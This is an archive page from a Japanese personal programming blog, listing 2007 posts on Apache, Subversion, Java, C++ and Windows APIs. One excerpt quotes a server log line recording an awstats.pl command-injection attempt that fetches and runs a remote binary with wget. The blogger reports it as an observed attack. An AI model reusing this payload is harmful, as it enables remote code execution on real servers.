2007-01-01から1年間の記事一覧

私にはこのドキュメントを読むことが出来ません…

Essential Pascal *1 *1:日本語訳 もちゃんとあります。てか、元は 英語 です^^;

ファイルの絶対パスをクリップボードにコピーしたかった

例えば 「デスクトップにあるファイルの絶対パスが必要だ!!」 なんて時があります。 右クリック / プロパティ画面あたりから、さくっとクリップボードにコピーできればいいのですが、Winodws 標準じゃそんな機能はありません。(Vista からは付いたようで…

http ステータスコード "418 I'm a teapot"

なんだこれ!? なんだこれ!? 418 I'm a teapot 私はティーポット。HTCPCP/1.0の拡張ステータスコード。 ティーポットにコーヒーを淹れさせようとして、拒否された場合に返す。 HTTPステータスコード - Wikipedia まぁ、なんというか、RFC 2322 "洗濯バサ…

… "200 OK" …?^^;

apache のログー 193.251.191.*** - - [21/Nov/2007:11:50:46 +0900] "GET /cgi-bin/awstats.pl?configdir=|echo;cd%20/tmp;wget%2085.114.128.***/barbut;chmod%20755%20barbut;./barbut;echo| HTTP/1.1" 404 293 "-" "Mozilla/4.0 (compatible; MSIE 6.0; …

http と https で同じモンを表示 - その2

前回の http://gin.example.com/ http://kana.example.com/ http://sui.example.com/ として、運用していてssl通信も欲しくなり https://rozen.example.com/gin → http://gin.example.com/ の内容を表示 https://rozen.example.com/kana → http://kana.examp…

apacheは難しいのぅ…

たとえば、バーチャルホストで http://gin.example.com/ http://kana.example.com/ http://sui.example.com/ として、運用していたとしましょう。ここで、ssl通信も欲しくなったとして https://rozen.example.com/gin → http://gin.example.com/ の内容を表…

Javaってなんて難しい言語なんだろう

// jdk5以上でコンパイルするんじゃ! class a { public static void main(String[] args) { // auto boxing Integer k1 = 20; Integer k2 = 20; Integer h1 = 200; Integer h2 = 200; // 値じゃなくてオブジェクトの比較 if(k1 == k2) System.out.println("…

apache2.2 の ダイジェスト認証で死亡

trac の認証設定を行おうとして、basic認証……は、ガッカリなので ダイジェスト認証を行うように設定しようと作業していたのですが、実に詰まりました。どうやら apache 2.2 から 設定方法がゴソっと変わったようで、従来通りの方法ではうまくいきません → ぐ…

サクっとかけるとうれしいよね。

for と find を良い感じで利用できるようになってきた事により、すごい作業効率が上がってきた感じです。 徐々に覚えてきてることが実感できてちょっとうれしい感じ。ちなみにこんな作業してました。 // ディレクトリの内容表示 # ls -l 合計 112 drwxrwxr-x…

VirtualHostを設定したのにIP直打ちで来る人を残念賞にする方法

VirtalHost を設定しホストごと異なるページが表示されるよう設定し、IP直打ちでサーバーにご来店された場合は「勘弁してにょ」とダミーのページを表示されるように設定したかったわけですが……解決するまで、意外とめんどくさかった。orz VirtualHost の設定…

apache 2.2 系 と subversion 1.4.5 で苦戦中

svn

error_log [Sat Oct 13 22:21:04 2007] [error] [client 192.168.0.9] (20014)Internal error : Can't open file '/path/to/test/format': No such file or directory [Sat Oct 13 22:21:04 2007] [error] [client 192.168.0.9] Could not fetch resou rce i…

apache 2.2 系 と subversion 1.4.5 でようやく動いた - 解決編

svn

// httpd.conf の設定 SVNParentPath /path/to/circle_svn/ // 実際のディレクトリ /path/to/circle_svnrep/ うおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおおお!!!!!!!!! 。・゚・(ノД`)・゚・。 …

如何にC++を知らないかを思い知った

C++

std::istringstream istr("AAAAAAAA99999999"); // 16進数で読み込みたい unsigned int nHi, nLow; istr >> std::hex; までは良かったけれど、"AAAAAAAA" と "99999999" で分割して読み込めなかった。orzsetw でいけると思ったんだがなぁ……。マニピュレータ…

乱数アルゴリズム MT がバージョンアップしてるぅー

SIMD-oriented Fast Mersenne Twister (SFMT) "SFMT" ってのに気づいたらなってました。SSE2 を利用して高速に処理できるとかいう話もうれしいところですが、SSE2を利用しない場合でも普通に高速化されてる様です。うぇぃ! そして話のオチは無い。(ぉ# 中…

便利っぽいけど、登場させる場面に悩む関数

http://msdn.microsoft.com/library/ja/jpmemory/html/_win32_isbadcodeptr.asp http://msdn.microsoft.com/library/ja/jpmemory/html/_win32_isbadreadptr.asp http://msdn.microsoft.com/library/ja/jpmemory/html/_win32_isbadstringptr.asp http://msdn.…

テキストをサクッと処理できる環境を整えてみた

会社のWinXPマシンについて 4月 php をサクッとセットアップする。 9月 awk など Linux系のWin32移植版コマンドをそそくさとセットアップする。 ↑から1日後 perl をがっつりとセットアップする 便利だということに気づいたらしい">*1。 ↑から数日後 ruby …

ちょっと衝撃的だった関数宣言のされ方

C++

/* Cね */ char *funcA(), *funcB(int), *funcC(char*, char*); int main() { funcA(); funcB(169); funcC("kanaria", "kashira"); return 0; } …なるほど。 でも、良い子は真似しちゃ だ め よ

こういう記事を見ると、自分の知識の無さを痛感する

先に行っておくと、以下かなりあやふやな*1知識を元に書いてるので、適当なこと言ってる可能性が強いです。あんまり信用しないで下さい。^^;つか、メチャクチャな事言ってたらどうしよう… orz SSE4命令とアクセラレータから見えるIntel CPUの方向性 MMX /…

java の enum の ビックリ仰天度は異常

SJC-P でもそのうち取得しようと、トイレの中で足がしびれるぐらい長時間書籍を読んでいた時に発見した(個人的に)ビックリしたjavaの文法。それは! enum Rozen { GIN, KANA, MIDO, AO; public static int ichigo = 6; public static int getIchigo(){ ret…

Visual Studio 2008 beta 2 リリース

VS

Downloads | IDE, Code, & Team Foundation Server | Visual Studioきたああああああああああーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー!!!!!VS2005がぶっちゃけハズレだったと思っている私としては結構期待している、…

Firefox を「一般巡回用」と「開発用」に分けたい

アドオン入れまくるとマジ重い firefox 君。ということで、新規のFirefox を現状インストールしてあるディレクトリとは別のディレクトリにインストールして、「一般巡回用 addon インストール版」 と 「開発 addon インストール版」 のfirefox を2つ創ってみ…

Vlm系関数は無かったことに?

64bit メモリ空間操作用として VirutalAllocVlm など、VLM (Very Large Memory) 系の関数があります。以下リスト(抜けがあるかも)。 CopyMemoryVlm FillMemoryVlm MapViewOfFileVlm MoveMemoryVlm ReadFileVlm ReadProcessMemoryVlm UnmapViewOfFileVlm Vi…

ラベルつき break / continue について勘違いしてたこと - とはいえ…

1個前のエントリー で「この break, continue 文法は無いだろう!」と叫んでみたわけですが、これは今まで C++ / C# を弄ってきた身として「この goto文もどきの文法は無いだろう!」と解釈していたためです。が、この解釈は正直間違っていました。 この構…

思わず涙が出てきた構文

public class test00{ public static void main(String[] args) { KANA_LOOP: for(int i = 0; i < 10; ++i) { if((i % 2) == 0) continue KANA_LOOP; System.out.println(i + "かしら〜"); } NANO_LOOP: for(int i = 0; i < 10; ++i) { if(i >= 5) break NAN…

w3mが地味に更新されてるぅーー!

会社の(VMWare上の)鯖に w3m が入っていなかったので拾いに行ってみたところ、w3m が更新されてました。 しかも w3m-0.5.2 Notes (2007-05-31 05:47) w3m download | SourceForge.net 更新されたのごく最近。0.5.1 のリリースが 2004年のようなので、実に…

……これはやっちまった感

php

phpを利用して、Webから xml取得しパースしようと思ったわけです。phpには simplexml_load_file なるパースするには便利な関数があるようで活用してみようと思ったのですが、どうも動かない。apacheのエラーログを見てみたところ PHP Fatal error: Call to u…

エディットボックスに対してオートコンプリートを実装する。

GetOpenFileName / GetSaveFileName で開くコモンダイアログのファイル名のエディットボックス*1に、手動でパスを入力していくと候補が勝手に出てきて手軽にファイル名を選択することが出来るじゃないですか。この機能、自前アプリケーションでも使いたいな…

「イベントドリブンは拡張性が低い」のだろうか?

とまぁ「拡張性が低いだろ?」なんていわれてしまったのですが…そうなんですかねぇ? むしろ私は「拡張性は高く、仕様変更にもまぁ対応しやすい」と思っているのですが… 拡張性が低いと主張された方は、メッセージ配信用のモジュールを作成し、メッセージが…

また読みたい本が増えた

俺流プロトコル実装入門 ~Private Implementation Protocol~posted with amazlet on 07.05.29SIPropプロジェクト・今村謙之 毎日コミュニケーションズ (2007/05/22)売り上げランキング: 11661Amazon.co.jp で詳細を見る何この超読んでみたい。 ゲームとかで…

"ビジュアル 基本的 6.0" とは

機械翻訳なのは判るんですけど、自社製品ぐらいちゃんと対応しようよ。